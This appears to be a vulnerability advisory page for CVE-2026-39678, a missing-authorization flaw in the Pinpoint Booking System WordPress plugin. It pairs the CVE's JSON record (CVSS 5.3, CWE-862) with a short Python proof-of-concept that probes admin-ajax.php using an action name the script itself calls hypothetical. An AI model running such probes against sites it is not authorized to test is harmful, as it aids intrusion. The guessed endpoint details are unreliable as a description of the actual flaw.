CVE-2026-39678

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-39678: Missing Authorization in Pinpoint Booking System This script attempts to exploit the missing authorization vulnerability. """ # The vulnerable endpoint is typically admin-ajax.php in WordPress plugins ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload attempting to exploit the unauthenticated action # Note: The specific 'action' parameter name depends on the plugin's actual implementation payload = { "action": "ppbs_unprotected_action", # Hypothetical action name "data": "malicious_payload" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.post(ajax_url, data=payload, headers=headers, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] Target {target_url} appears to be vulnerable!") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Target {target_url} does not appear vulnerable or action name is incorrect.") except Exception as e: print(f"[!] Error connecting to {target_url}: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-39678", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:39.487", "lastModified": "2026-04-29T10:17:39.397", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in DOTonPAPER Pinpoint Booking System booking-system allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Pinpoint Booking System: from n/a through <= 2.9.9.6.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/booking-system/vulnerability/wordpress-pinpoint-booking-system-plugin-2-9-9-6-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}